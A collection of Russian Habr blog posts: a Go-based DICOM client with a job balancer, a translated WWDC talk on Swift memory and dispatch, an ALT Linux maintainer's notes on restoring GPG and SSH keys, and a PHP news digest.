Github: [github.com/Loafter/dtools](https://github.com/Loafter/dtools)
Версия Linux-amd64: [github.com/Loafter/dtools/releases/download/1.0/dcmjsser](https://github.com/Loafter/dtools/releases/download/1.0/dcmjsser)
Я решил, что пришло время создать свой dicom-клиент с (блэкджеком..) веб-интерфейсом, который может выполнять следующие стандартные операции:
* Dicom ping;
* Cкачивание исследований;
* Загрузка исследования,
* А также поиск по реквизитам
(c-echo, c-move,c-store,c-find соотвествено).
В качестве dicom-библиотеки была выбрана библиотека GrassRoot SDK. Наш клиент будет распараллеливать задачи. Язык go для этого хорошо адаптирован
Похожий сценарий работы был описан [habrahabr.ru/post/198150](http://habrahabr.ru/post/198150/).
Наш сценарий несколько отличается:
У нас есть некий балансировщик задач, который получает задания dicom-сервиса, проверяет возможность выполнения и асинхронно их выполняет. Для того чтобы не было ситуации, когда параллельно выполняется 1000 задач, мы реализуем очередь задач таким образом, чтобы были активные задачи и те, которые находятся в спящем состоянии. По умолчанию только 10 задач будут активными. В противном случае мы могли бы обойтись без баллансировщика вообще, тупо параллельно выполнить 1000 задач параллельно без какого либо контроля.
Весь код балансировщика находится в файле job\_ballancer.go.
В начале идет описание интерфейсов обработчиков. В случае если работа была выполнена успешно, в случае если вернулась ошибка и сам процесс обработки задачи.
```
type JobDispatcher interface {
Dispatch(interface{}) (interface{}, error)
}
type ErrDispatcher interface {
DispatchError(FaJob) error
}
type CompDispatcher interface {
DispatchSuccess(CompJob) error
}
```
Когда мы создаем экземпляр диспетчера, мы его инициализируем соответствующими обработчиками.
```
srv.jbBal.Init(&srv.dDisp, srv, srv)
//Сама структура балансировщика
type JobBallancer struct {
jChan chan interface{} //канал в который мы передаем задания
acJob map[string]Job //список активных работ
slJob map[string]Job //список неактивных работ
errDisp ErrDispatcher //обработчик работ завершившихся error
jobDisp JobDispatcher //обработчик заданий
compDisp CompDispatcher //обработчик успешно выполненных работ
JbDone sync.WaitGroup //ожидаем завершения всех работ
aJobC int //количество параллельных (активных)
}
//инициализация балансировщика
func (jbal *JobBallancer) Init(jdis JobDispatcher, cmd CompDispatcher, erd ErrDispatcher) {
jbal.errDisp = erd
jbal.jobDisp = jdis
jbal.compDisp = cmd
jbal.acJob = make(map[string]Job)
jbal.slJob = make(map[string]Job)
jbal.aJobC = 10
jbal.jChan = make(chan interface{})
go jbal.takeJob() //запускаем поток в котором осуществляем //балансировку работ
log.Println("info: job ballancer inited")
}
добавление новой работы в очередь. Операция асинхронная, т.е. работа отсылается в канал, а функция takeJob подбирает ее от туда.
func (jbal *JobBallancer) PushJob(jdat interface{}) error {
if jbal.checkInit() {
return errors.New("error: JobChan is not inited")
}
uid := genUid()
job := Job{JobId: uid, Data: jdat}
jbal.jChan <- job
return nil
}
func (jbal *JobBallancer) takeJob() {
for {
//извлекаем работу из канала
recivedTask := <-jbal.jChan
log.Println("info: job taken")
switch job := recivedTask.(type) {
case TermJob:
//если мы получаем сигнал на завершение выходим из функции
log.Println("info: recive terminate dispatch singal")
return
case Job:
//обычная обработка (если все слоты активных работ заняты то работа записывается в список не активных работ)
if len(jbal.acJob) < jbal.aJobC {
jbal.JbDone.Add(1)
jbal.addActiveJob(job)
go jbal.startJob(job)
log.Println("info: normal dispatch")
} else {
jbal.addSleepJob(job)
jbal.JbDone.Add(1)
log.Println("info: attend maximum active job")
}
case CompJob:
//работа завершилась успехом
if err := jbal.compDisp.DispatchSuccess(job); err != nil {
log.Println("error: failed dispatch success" + job.Job.JobId)
}
//удачно завершившуюся работу можно удалить из списка
jbal.removeJob(job.Job.JobId)
jbal.JbDone.Done()
jbal.resumeJobs()
case FaJob:
//работа завершилась ошибкой
if err := jbal.errDisp.DispatchError(job); err != nil {
log.Println("error: failed dispatch error" + job.Job.JobId)
}
//завершившуюся работу можно удалить из списка
jbal.removeJob(job.Job.JobId)
jbal.JbDone.Done()
jbal.resumeJobs()
default:
log.Fatalln("error: unknown job type")
jbal.JbDone.Done()
}
}
}
//функция удаления работы
func (jbal *JobBallancer) removeJob(jid string) error {
if _, isFind := jbal.acJob[jid]; isFind {
delete(jbal.acJob, jid)
} else {
return errors.New("error: can't remove job because job with id not found")
}
return nil
}
//функция позволяющая правильно завершить работу балансировщика, в случае если есть работы которые не завершены, функция будет ожидать их завершения
func (jbal *JobBallancer) TerminateTakeJob() error {
if jbal.checkInit() {
return errors.New("error: is not inited")
}
jbal.JbDone.Wait()
jbal.jChan <- TermJob{}
close(jbal.jChan)
if len(jbal.acJob) > 0 {
return errors.New("error: list job is not empty")
}
log.Println("info: greacefully terminate take job")
return nil
}
```
Остальные вспомогательные функции мы не будем рассматривать. полный код можно посмотреть
[github.com/Loafter/dtools/blob/master/dcmjsser/job\_ballancer.go](https://github.com/Loafter/dtools/blob/master/dcmjsser/job_ballancer.go)
Не смотря, что код не сложный и я долго обдумывал его. Но все равно для проверки надежности я реализовал нагрузочный тест на десятки задач:
```
testJobDispatcher := TestJobDispatcher{}
testErrorDispatcher := TestErrorDispatcher{}
testSuccessDispatcher := TestCompletedDispatcher{}
jobBallancer := JobBallancer{}
jobBallancer.Init(&testJobDispatcher, &testSuccessDispatcher, &testErrorDispatcher)
for i := 0; i < 40; i++ {
jobBallancer.PushJob("data: " + strconv.Itoa(i))
}
jobBallancer.TerminateTakeJob()
```
Он отработал нормально. Все задачи были выполнены, а функция TerminateTakeJob завершилась тогда, когда все задачи были выполненны. Для контроля отработаных задач используется объект синхронизации sync.WaitGroup JbDone, который ведет подсчет количества выполненных работ. Как я уже отмечал выше, код балансировщика является универсальным и для того чтобы наш балансировщик работал по-другому, нам достаточно проинстанцировать его соотвествующими обработчиками.
Как и в прошлой своей поделке) (http://habrahabr.ru/post/247727/) интерефейс приложения я реализовал в виде веб-интерфейса.
Для теста я использовал публичный dicom-архив 213.165.94.158:11112. С него можно скачивать исследования, если есть прямой айпи и если на стороне клиента открыт порт 11112. Так же я проверил работу на свободном dicom-архиве dcm4che [sourceforge.net/projects/cdmedicpacsweb/files/latest/download?source=files](http://sourceforge.net/projects/cdmedicpacsweb/files/latest/download?source=files).
Мне удалось собрать рабочую версию для Linux, к сожалению собрать под Widows мне не удалось. Библиотека grassroot успешно собралась, но ошибка возникает при линковке самого приложения.
cmd/ld: Malformed PE file: Unexpected flags for PE section.
Об этой ошибке много написано тут: [github.com/golang/go/issues/4069](https://github.com/golang/go/issues/4069).
К сожалению я не настолько знаком с тонкостями сборки и поэтому получилась версия только под Linux. Может «хабра-эфект» сдвинет с мертвой точки и эту проблему. Для пользователей Windows, которые хотят проверить и посмотреть как это работает, я подготовил виртуальную машину на базе CoreOS (https://yadi.sk/d/y81KC-tyfar6A). В демо машине наш dicom-клиент работает как systemd-сервис.
При наличии желания, можно например реализовать сервис, который выкачивает исследования с различных dicom-узлов, и выкладывает в zip-архиве для скачивания. Для управления сервисом можно использовать json-сообщения, так же, как делает наш GUI.
А можно поступить, как поступил я: прикрутить в наше приложение какой-нибудь веб-просмотровщик на базе html5.
 | https://habr.com/ru/post/254581/ | null | ru | null |
# Протокольно ориентированное программирование. Часть 1
Давайте подробнее изучим тему протокольно ориентированного программирования. Для удобства разделили материал на три части.
Данный материал является комментированным переводом [презентации WWDC 2016](https://developer.apple.com/videos/play/wwdc2016/416/). Вопреки частому мнению о том, что вещи "под капотом" должны там и оставаться, иногда крайне полезно разобраться, что же там происходит. Это поможет использовать предмет правильно и по назначению.
В этой части будут затронуты ключевые проблемы объектно ориентированного программирования и то, как ПОП их решает. Всё будет рассматриваться в реалиях языка Swift, в подробностях будет рассмотрена "подкапотная" работы протоколов.
Проблемы ООП и зачем нам нужно ПОП
----------------------------------
Известно, что в ООП существует ряд слабых мест, которые способны "перегрузить" выполнение программы. Рассмотрим наиболее явные и часто встречаемые:
1. Allocation: Stack или Heap?
2. Reference counting: больше или меньше?
3. Method dispatch: статическая или динамическая?
### 1.1 Allocation — Stack
Stack — это довольно простая и примитивная структура данных. Мы можем положить на вершину stack-а (push), можем взять с вершины stack-а (pop). Простота заключается в том, что это все, что мы можем делать с ним.
Для простоты картины положим, что у каждого стэка есть переменная (stack pointer). Она используется для отслеживания вершины стэка и хранит в себе целочисленное число (Integer). Из этого следует, что скорость операций со stack-ом равна скорости перезаписи Integer-а в эту переменную.
Push — кладем на вершину стэка, увеличиваем stack pointer;
pop — уменьшаем stack pointer.
### Типы значений
Рассмотрим принципы работы стэка в Swift, используя структуры (struct).
В Swift типами значений являются структуры (struct) и перечисления (enum), а ссылочными типами являются классы (class) и функции/замыкания (func). Типы значений хранятся на Stack, ссылочные типы хранятся на Heap.
```
struct Point {
var x, y: Double
func draw() {...}
}
let point1 = Point(...) // (1)
let point2 = point1 // (2)
point2.x = 5 // (3)
// используем point1
// используем point2
// (4)
```
1. Размещаем первую структуру на Stack-е
2. Копируем содержимое первой структуры
3. Изменяем память второй структуры (первая остается нетронутой)
4. Конец использования. Освобождение памяти
### 1.2 Allocation — Heap
Heap — это древовидная структура данных. Тема реализации heap здесь затронута не будет, но мы попытаемся сравнить её со стэком.
Почему, если это возможно, стоит использовать Stack вместо Heap? Вот почему:
* подсчет ссылок
* администрация свободной памяти и ее поиск для аллокации
* перезапись памяти для деаллокации
Всё это — лишь малая часть того, что обеспечивает работу Heap и явно отягощает его в сравнении со Stack.
Например, когда нам нужна свободная память на Stack, мы просто берем значение stack-pointer и увеличиваем его (ведь всё, что выше stack-pointer в Stack, является свободной памятью) — O(1) — операция, которая постоянна по времени.
Когда нам нужна свободная память на Heap, то мы начинаем её искать при помощи соответствующего алгоритма поиска в древовидной структуре данных — в лучшем случае мы имеем O(logn) операцию, которая не постоянна по времени и зависит от конкретных реализаций.
На самом деле Heap намного сложнее: его работу обеспечивает еще масса других механизмов, которые обитают в недрах операционных систем.
Также стоит отметить, что использование Heap в режиме мультипоточности ухудшает ситуацию в разы, так как необходимо обеспечить синхронизацию разделяемого ресурса (памяти) для разных потоков. Достигается при помощи использования блокировки (семафоры, спинлоки и т. п.).
### Ссылочные типы
Рассмотрим принцип работы Heap в Swift, используя классы.
```
class Point {
var x, y: Double
func draw() {...}
}
let point1 = Point(...) // (1)
let point2 = point1 // (2)
point2.x = 5 // (3)
// используем point1
// используем point2
// (4)
```
1.Размещаем тело класса на Heap. Размещаем указатель на это тело на Stack
1. Копируем указатель, который ссылается на тело класса
2. Изменяем тело класса
3. Конец использования. Освобождение памяти
### 1.3 Allocation — Небольшой и "Реальный" пример
В некоторых ситуациях выбор в пользу Stack не только упрощает работу с памятью, но и улучшает качество кода. Рассмотрим на примере:
```
enum Color { case red, green, blue }
enum Orientation { case left, right }
enum Tail { case none, tail, bubble }
var cache: [String: UIImage] = []
func makeBalloon(_ color: Color, _ orientation: Orientation, _ tail: Tail) -> UIImage {
let key = "\(color):\(orientation):\(tail)"
if let image = cache[key] {
return image
}
...
}
```
Если в словаре cache есть значение с ключом key, то функция просто вернет закэшированный UIImage.
### Проблемы этого кода:
Не лучшей практикой является использование String как ключа в cached, ведь String в конце концов "может оказаться чем-угодно".
String — это copy-on-write структура, для реализации ее динамичности все свои Character-ы она хранит на Heap. Таким образом String — это структура, и хранится в Stack, но все свое содержимое она хранит на Heap.
Это необходимо для того, чтобы обеспечить возможность изменения строки (убрать часть строки, добавить новую строку к этой строке). Если бы все символы строки хранились на Stack, то такие манипуляции были бы невозможными. Например, в C строки — статические, а это значит, что размер строки невозможно увеличить в runtime т. к. всё содержимое хранится на Stack. Про copy-on-write и более детальный разбор строк в Swift можно обратиться [сюда](https://developer.apple.com/documentation/swift/string).
### Решение:
1. Использовать вместо строки вполне очевидную здесь структуру:
```
struct Attributes: Hashable {
var color: Color
var orientation: Orientation
var tail: Tail
}
```
2. Изменить словарь на:
```
var cache: [Attributes: UIImage] = []
```
3. Избавиться от String
```
let key = Attributes(color: color, orientation: orientation, tail: tail)
```
В структуре Attributes все свойства хранятся на Stack, так как перечисление (enum) хранится на Stack. Значит, что никакого неявного использования Heap здесь нет, и теперь ключи для словаря cache предельно точно определены, что увеличило безопасность и ясность этого кода. Также мы избавились от неявного использования Heap.
**Вердикт:** Stack гораздо легче и быстрее Heap — выбор для большинства ситуаций очевиден.
### 2. Подсчет ссылок
Для чего?
Swift должен знать, когда можно освободить фрагмент памяти на Heap, занятый, например, инстансом класса или функции. Реализовано это через механизм подсчета ссылок — у каждого размещенного на Heap инстанса (класса или функции) есть переменная, которая хранит количество ссылок на него. Когда на инстанс нет ссылок, то Swift решает освободить фрагмент памяти, выделенный под него.
Следует отметить, что для "качественной" реализации этого механизма необходимо гораздо больше ресурсов, чем для увеличения и уменьшения Stack-pointer-а. Это обусловлено тем, что значение количества ссылок может увеличиваться из разных потоков (т. к. ссылаться на класс или функцию можно из разных потоков). Также не стоит забывать про необходимость обеспечения синхронизации разделяемого ресурса (переменная количества ссылок) для разных потоков (спинлоки, семафоры и т. п.).
Stack: поиск свободной памяти и освобождение используемой — операция с stack-pointer
Heap: поиск свободной памяти и освобождение используемой — алгоритм поиска в дереве и reference counting.
В структуре Attributes все свойства хранятся на Stack, так как перечисление (enum) хранится на Stack. Значит, что никакого неявного использования Heap здесь нет, и теперь ключи для словаря cache предельно точно определены, что увеличило безопасность и ясность этого кода. Также мы избавились от неявного использования Heap.
### Псевдокод
Рассмотрим небольшой фрагмент псевдокода для демонстрации работы подсчета ссылок:
```
class Point {
var refCount: Int
var x, y: Double
func draw() {...}
init(...) {
...
self.refCount = 1
}
}
let point1 = Point(x: 0, y: 0)
let point2 = point1
retain(point2) // retain() - увеличить refCount на 1 для соответствующего инстанса
point2.x = 5
// используем `point1`
release(point1) // release() - уменьшить refCount на 1
// используем `point2`
release(point2)
```
### Struct
При работе со структурами, такой механизм как reference counting просто не нужен:
1. struct не хранится на Heap
2. struct — копируется при присваивании, следовательно, нет ссылок
### Копирование ссылок
Снова, struct и любые другие типы значений в Swift копируются при присваивании. В случае, если структура хранит в себе ссылки, они также скопируются:
```
struct Label {
let text: String
let font: UIFont
...
init() {
...
text.refCount = 1
font.refCount = 1
}
}
let label = Label(text: "Hi", font: font)
let label2 = label
retain(label2.text._storage) // так как это `String` и она хранит свое содержимое на Heap
retain(label2.font)
// используем label
release(label.text._storage)
release(label.font)
// используем label2
release(label2.text._storage)
release(label2.font)
```
label и label2 делят между собой общие инстансы, размещенные на Heap:
* содержимое text
* и font
Таким образом, если struct хранит в себе ссылки, то при копировании этой структуры количество ссылок удваивается, что, при отсутствии необходимости, отрицательно сказывается на "легкости" программы.
### И снова "реальный" пример:
```
struct Attachment {
let fileUrl: URL // ссылка на HEAP память
let uuid: String // неявная ссылка на HEAP память
let mimeType: String // неявная ссылка на HEAP память
init?(fileUrl: URL, uuid: String, mimeType: String) {
guard mimeType.isMimeType else {
return nil
}
self.fileUrl = fileUrl
self.uuid = uuid
self.mimeType = mimeType
}
}
```
Проблемы этой структуры в том, что она имеет:
1. 3 Heap аллокации
2. Из-за того, что String может быть какой угодно строкой, страдают безопасность и ясность кода.
В то же время uuid и mimeType — строго определенный вещи:
uuid — это строка формата xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx
mimeType — это строка формата type/extension.
### Решение
```
let uuid: UUID // UUID это тип, который дает нам Foundation
```
В случае mimeType отлично подойдет enum:
```
enum MimeType {
init?(rawValue: String) {
switch rawValue {
case "image/jpeg":
self = .jpeg
case "image/png":
self = .png
case "image/gif":
self = .gif
default:
return nil
}
}
case jpeg, png, gif
}
```
Или лучше и проще:
```
enum MimeType: String {
case jpeg = "image/jpeg"
case png = "image/png"
case gif = "image/gif"
}
```
И не забыть изменить:
```
let mimeType: MimeType
```
### 3.1 Method Dispatch
* это алгоритм, который ищет код метода, который был вызван
Прежде чем говорить о реализации этого механизма, стоит определить, что такое "сообщение" и "метод" в этом контексте:
* сообщение — это имя, которое мы отсылаем объекту. Вместе с именем ещё могут быть отправлены аргументы.
```
circle.draw(in: origin)
```
Сообщение это draw — имя метода. Объект-получатель — это circle. Origin — это вдобавок переданный аргумент.
* метод — это код, который будет отдан в ответ на сообщение.
Тогда Method Dispatch — это алгоритм, который решает, какой метод должен быть отдан на то или иное сообщение.
Более конкретно о Method Dispatch в Swift
-----------------------------------------
Так как мы можем унаследоваться от родительского класса и переопределить его методы, то Swift должен точно знать какую реализацию этого метода нужно вызвать в конкретной ситуации.
```
class Parent {
func me() {
print("parent")
}
}
class Child: Parent {
override func me() {
print("child")
}
}
```
Создадим пару инстансов и вызовем метод me:
```
let parent = Parent()
let child = Child()
parent.me() // "parent"
child.me() // "child"
```
Довольно очевидный и простой пример. А что, если:
```
let array: [Parent] = [Child(), Child(), Parent(), Child()]
array.forEach {
$0.me() // "child" "child" "parent" "child"
}
```
Это уже не столь очевидно и требует ресурсов и определенного механизма для определения корректной реализации метода me. Ресурсы — это процессор и оперативная память. Механизм — это Method Dispatch.
Иными словами, Method Dispatch — это то, как программа определяет какую реализацию метода вызвать.
Когда в коде вызывается метод — его реализация должна быть известна. Если она известна к
моменту компиляции, то это Static Dispatch. Если реализация определяется непосредственно перед вызовом (в runtime, в момент выполнения кода), то это Dynamic Dispatch.
### 3.2 Method Dispatch — Static Dispatch
Наиболее оптимальный, так как:
1. Компилятор знает, какой блок кода (реализация метода) будет вызван. Благодаря этому он может максимально оптимизировать этот код и прибегнуть к такому механизму как inlining.
2. Также в момент выполнения кода программа просто выполнит этот известный компилятору блок кода. Не будет затрачено никаких ресурсов и времени на определение корректной реализации метода, что ускорит выполнение программы.
### 3.3 Method Dispatch — Dynamic Dispatch
Не самый оптимальный, так как:
1. Корректная реализация метода будет определяться в момент выполнения программы, что требует ресурсов и времени
2. Ни о каких оптимизациях компилятора не может быть и речи
### 3.4 Method Dispatch — Inlining
Был упомянут такой механизм, как inlining, но что это? Рассмотрим на примере:
```
struct Point {
var x, y: Double
func draw() {
// Point.draw implementation
}
}
func drawAPoint(_ param: Point) {
param.draw()
}
let point = Point(x: 0, y: 0)
drawAPoint(point)
```
* point.draw() метод и drawAPoint функция будут обработаны через Static Dispatch, так как здесь нет никакой сложности в определении корректной реализации для компилятора (т. к. нет наследования и переопределение невозможно)
* так как компилятор знает, что будет выполнено, он может оптимизировать это. Сначала оптимизирует drawAPoint, просто заменив вызов функции на её код:
```
let point = Point(x: 0, y: 0)
point.draw()
```
* затем оптимизирует point.draw, так как реализация этого метода так же известна:
```
let point = Point(x: 0, y: 0)
// Point.draw implementation
```
Создали point, выполнили код метода draw — компилятор просто подставил нужный код этих функций вместо их вызова. В Dynamic Dispatch это будет несколько сложнее.
### 3.5 Method Dispatch — Inheritance-Based Polymorphism
Зачем вообще нужен Dynamic Dispatch? Без него невозможно определить переопределенные дочерними классами методы. Не был бы возможен полиморфизм. Рассмотрим на примере:
```
class Drawable { func draw() {} }
class Point: Drawable {
var x, y: Double
override func draw() { ... }
}
class Line: Drawable {
var x1, y1, x2, y2: Double
override func draw() { ... }
}
var drawables: [Drawable]
for d in drawables {
d.draw()
}
```
* массив drawables может содержать Point и Line
* интуитивно понятно, что Static Dispatch невозможен здесь. d в цикле for может быть Line, а может быть Point. Компилятору не под силу определить это, а ведь у каждого типа своя реализация draw
Тогда как работает Dynamic Dispatch? У каждого объекта есть поле type. Так Point(...).type будет равен Point, а Line(...).type будет равен Line. Также где-то в (статической) памяти программы расположена таблица (virtual-table), где для каждого type есть список с его реализациями методов.
В Objective-C поле type известно как поле isa. Оно присутствует у каждого Objective-C объекта (NSObject).
Метод класса хранится в virtual-table и не имеет ни малейшего понятия о self. Для того, чтобы использовать self внутри этого метода, его (self) нужно туда передать.
Таким образом, компилятор изменит этот код на:
```
class Point: Drawable {
...
override func draw(_ self: Point) { ... }
}
class Line: Drawable {
...
override func draw(_ self: Line) { ... }
}
var drawables: [Drawable]
for d in drawables {
vtable[d.type].draw(d)
}
```
В момент выполнения кода необходимо заглянуть в virtual-table, найти там класс d, взять из полученного списка метод draw и передать ему объект типа d в качестве self. Это приличная работа для простого вызова метода, но она необходима для обеспечения работы полиморфизма. Схожие механизмы используются в любом ООП языке.
Method Dispatch — Итог
----------------------
* методы классов по умолчанию обрабатываются через Dynamic Dispatch. Но не все методы классов должны быть обработаны через Dynamic Dispatch. Если метод не будет переопределяться, то можно озаглавить его ключевым словом final, и тогда компилятору будет известно, что этот метод невозможно переопределить и он обработает его через Static Dispatch
* не классовые методы не могут быть переопределены (так как struct и enum не поддерживают наследование) и обрабатываются через Static Dispatch
Проблемы ООП — Итог
-------------------
Необходимо обращать внимание на такие мелочи как:
1. При создании инстанса: где он будет размещен?
2. При работе с этим инстансом: как будет работать подсчет ссылок?
3. При вызове метода: чем он будет обработан?
Если мы платим за динамичность, не осознавая этого и не имея в этом надобности, то это отрицательно скажется на выполняемой программе.
Полиморфизм — очень важная и полезная вещь. На данный момент известно лишь то, что полиморфизм в Swift напрямую связан с классами и ссылочными типами. Мы же, в свою очередь, говорим, что классы — это медленно и тяжело, а структура — просто и легко. Возможен ли полиморфизм, реализованный через структуры? Ответ на этот вопрос может дать протокольно ориентированное программирование. | https://habr.com/ru/post/473798/ | null | ru | null |
# Записки майнтейнера: resurrection
В 2010 я стал майнтейнером в **ALT Linux**: прошёл [все этапы процедуры принятия в Team](https://www.altlinux.org/%D0%9F%D1%80%D0%BE%D1%86%D0%B5%D0%B4%D1%83%D1%80%D0%B0_%D0%BF%D1%80%D0%B8%D0%BD%D1%8F%D1%82%D0%B8%D1%8F_%D0%B2_Team): получил статус кандидата, провёл пробную сборку пакета под руководством ментора **damir@** (Дамир Шайхутдиров), получил свой ник (lamp@), почту, сгенерил и зарегистрировал gpg ключи для подписи пакетов и ssh ключи для доступа к [git.alt](https://www.altlinux.org/Git.alt).
Как так получилось? Всё началось с моего первого знакомства с **Debian Linux** в 2005 году. Потом были эксперименты с **Ubuntu**, развесёлые линуксовки местного **LUG** и наполеоновские планы продвижения Linux в масштабах страны и отдельно взятом Ростове-на-Дону. Тем временем в 2007 компания ALT Linux выиграла всероссийский открытый конкурс на разработку и поставку [пакета свободного ПО для школ](http://www.altlinux.ru/solutions/school). Вышел дистрибутив **ALT Linux школьный**. Начались пилотные внедрения СПО в школах трех российских регионов. И Ростовский LUG решил принять активное участие во всём этом. Мы стали сотрудничать с ALT Linux, посещать школы как официальные представители и помогать внедрять школьный дистрибутив. Даже организовали обучающий семинар для учителей. Подробнее об этом можно прочесть [в нашем блоге](http://blog.rndlug.ru/). Разумеется всё это делалось безвозмездно и в свободное от работы время (обычно по субботам).
Я также думал о том, что можно предложить школьникам как инструмент для начального изучения программирования. И обнаружил в ALT Linux пакет [basic256](http://sisyphus.ru/ru/srpm/Sisyphus/basic256). Списался с автором-разработчиком Джеймсом Рено (James Reneau) и стал на какое-то время соразработчиком (перевод интерфейса, справки, мелкие улучшения в коде). Само собой — стал майнтейнером. Почти год (с апреля 2010 по январь 2011) старательно сопровождал basic256 и выпустил 7 сборок. Также принял участие в переводе книги Джеймса «[Хотите научиться программировать?](http://shop.altlinux.ru/index.php?productID=748)».
К сожалению, после бурного 2010го школьный проект в Ростове-на-Дону (и не только) фактически сошел на нет. На первый план вышли более актуальные задачи и я забросил свои обязанности майнтейнера. Однако, последние пару лет подумывал вернуться. И наконец размышления трансформировались в конкретные шаги. Связался с ребятами из ALT, получил добро, заручился поддержкой ментора **glebfm@** (Глеб Фотенгауэр-Малиновский) и приступил к делу.
### 1. Моё новое старое железо
К сожалению, старичок ноутбук eMachines M6810, специально купленный для работы c ALT Linux в марте 2010 за 6 тыс. руб, давно отдал концы. Благо в моём хозяйстве обнаружился ноут **Samsung P28** (Celeron 1.5Ghz) c 512Mb RAM, без жесткого диска и БП, доставшийся по случаю совершенно бесплатно. Докупил к нему БП и переставил 60Gb хард c почившего eMachines. Установил [Simply Linux 7.0.5](http://simplylinux.ru/) — и рабочая лошадка была готова. Да, ещё приобрёл с хорошей скидкой (150 руб) USB WiFi TP-LINK TL-WN723N, поскольку в моём Samsung модуля WiFi не оказалось.
### 2. Переход к 8й ветке
Первое, что посоветовал ментор — обновиться до ветки p8. Что я и проделал, с некоторыми приключениями, которые вряд ли стоят особого внимания. Посетил страницу <https://www.altlinux.org/Update> и выполнил серию команд:
> $ sudo apt-repo rm all
>
> $ sudo apt-repo add p8
>
> $ sudo apt-get update
>
> $ sudo apt-get dist-upgrade
>
> $ sudo update-kernel
Перезагрузился и — вуаля, у меня свеженькая версия:
> $ cat /etc/altlinux-release
>
> Simply Linux 7.95.0 (Dory)
В качестве бонуса — заработал USB WiFi TP-LINK. Вообще, к слову, **Simply Linux** производит очень приятное впечатление. Система хорошо сбалансирована, приемлемо откликается даже на моём слабом железе. Xfce настроен Window-like (лично мне всё равно, но для только пришедшего с Windows удобно). Цветовая гамма приятна для глаз. Плюс прикольная картинка на рабочем столе.
### 3. Восстановление доступа
Ключевой вопрос — что с моими ключами? Понятно, они были на eMachines, но тот хард был переформатирован. Однако ещё тогда, по совету своего первого ментора я сохранил две папки (.gnupg и .ssh) на другом ноутбуке.
Начнём с **gpg** ключей. Это два файла (pubring.gpg и secring.gpg) из моей старой папки .gnupg. Эти ключи нужны для подписи srpm и тегов в git. Копирую их из запароленного архива в домашнюю папку и выполняю команду:
> $ gpg —with-fingerprint secring.gpg
А затем показываю результат ментору (через telegram). Он сравнивает fingerprint моего ключа с тем, который есть в keyring-е ключей членов Team. Отпечаток совпадает. Да, ключи те самые.
Импортирую:
> $ gpg --import pubring.gpg
>
> $ gpg --import secring.gpg
>
> $ rm \*.gpg
Самое время вспомнить пароль. Создаю пустой файл и пытаюсь его подписать:
> $ touch test\_file
>
> $ gpg -ab test\_file
В ответ gpg запрашивает у меня фразу-пароль. Вот это уже серьёзная проблема. Какой пароль я мог использовать в далёком 2010? Делаю несколько попыток, результат один: Неверная фраза-пароль; попробуйте ещё раз… «*Забыть пароль — всё равно что утратить ключи*», — тем временем пишет ментор. И тут меня словно осеняет! Пробую свою догадку — срабатывает. Файл подписан и я вспомнил свой пароль!
Пришло время для **ssh** ключей (из моей старой папки .ssh). Они нужны для подключения с серверам сборки (gyle.altlinux.org) и синхронизации git-репозитария (gitery.altlinux.org). Снова обращаюсь к своему запароленному архиву, извлекая оттуда два файла (id\_dsa и id\_dsa.pub). И затем:
> $ ssh-add id\_dsa
>
> $ cp id\_dsa .ssh
>
> $ cp id\_dsa.pub .ssh
>
> $ rm id\_dsa\*
Кроме того создаю в .ssh файл (*vim ~/.ssh/config*) cледующего содержания:
```
Host git.alt
HostName gitery.altlinux.org
Port 222
User git_lamp
Host gyle.alt
HostName gyle.altlinux.org
Port 222
User git_lamp
```
После нескольких безуспешных попыток доступа добавляю в *~/.ssh/config* первой строкой:
> PubkeyAcceptedKeyTypes +ssh-dss
Это приходится делать потому что современные openssh-clients считают (справедливо) DSA плохим алгоритмом, его использование нужно разрешать явно. А мои ключи именно DSA (в ближайшее время их надо обновить на RSA по совету ментора). Проверяю доступ командой:
> $ ssh git.alt help
>
> Enter passphrase for key '/home/lamp/.ssh/id\_dsa':
Ввожу пароль и получаю список доступных команд. Доступ восстановлен, я снова в **ALT Linux Team**. Следующий шаг — собрать пакет. Но это будет уже новая история… | https://habr.com/ru/post/324692/ | null | ru | null |
# PHP-Дайджест № 92 – интересные новости, материалы и инструменты (29 августа – 11 сентября 2016)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [PHP 7.1.0 RC 1](http://php.net/index.php#id2016-09-01-1) — Стартовал цикл релиз-кандидатов ветки 7.1. Ожидается всего не менее 6 выпусков для стабилизации. Финальный релиз планируется выпустить до конца года.
* [JIT для PHP](http://news.php.net/php.internals/95531) — Дмитрий Стогов анонсировал старт работы по реализации JIT в PHP. Исходники доступны [тут](https://github.com/zendtech/php-src/tree/jit-dynasm/ext/opcache/jit). Код можно собрать и протестировать как обычный PHP. Однако на данном этапе прироста производительности использование JIT не дает. Планируется получить результат к следующей версии PHP, вероятно, 8.0.
Пожелаем Дмитрию и команде удачи!
### PHP
* [RFC: Deprecate PEAR/PECL & Replace with composer/pickle](https://wiki.php.net/rfc/deprecate-pear-include-composer) — Предлагается избавиться от устаревшего PEAR, вместо него включить в поставку Composer и [Pickle](https://github.com/FriendsOfPHP/pickle) для установки расширений.
* [RFC: Add PHP Engine Identifier Constant](https://wiki.php.net/rfc/php_engine_constant) — Предлагается добавить константу `PHP_ENGINE`, значение которой указывало бы на тип движка (`php`/`hhvm` и т. п.). А также опционально еще несколько констант `PHP_(*_)ENGINE(_ID)`, в которых будет информация о версии.
### Инструменты
* [Simple Regex Language](https://github.com/SimpleRegex/SRL-PHP) — Библиотека позволяет записывать регулярные выражения человекопонятным языком. Прислал [askew](https://habrahabr.ru/users/askew/). [Хабрапост](https://habrahabr.ru/post/308882/)  в поддержку.
* [etsy/phan](https://github.com/etsy/phan) — Статический анализатор для PHP. Пост в поддержку: [Подготовка легаси приложений к PHP 7 с помощью Phan](http://www.masterzendframework.com/preparing-for-php7-with-phan/).
* [ovr/phpsa](https://github.com/ovr/phpsa) — Еще один статический анализатор для PHP. [Туториал](https://www.sitepoint.com/static-analysis-with-phpsa-php-smart-analyzer/) по использованию.
* [Youshido/GraphQL](https://github.com/youshido/graphql/) — Реализация протокола GraphQL по [спецификации от Facebook](https://github.com/facebook/graphql).
* [Maikuolan/phpMussel](https://github.com/Maikuolan/phpMussel) — Сканер вредоносных файлов на PHP, использует сигнатуры ClamAV.
* [ircmaxell/RandomLib](https://github.com/ircmaxell/RandomLib) — Библиотека для генерации случайных чисел и строк различной криптостойкости.
* [deuill/go-php](https://github.com/deuill/go-php) — PHP биндинги для Go lang.
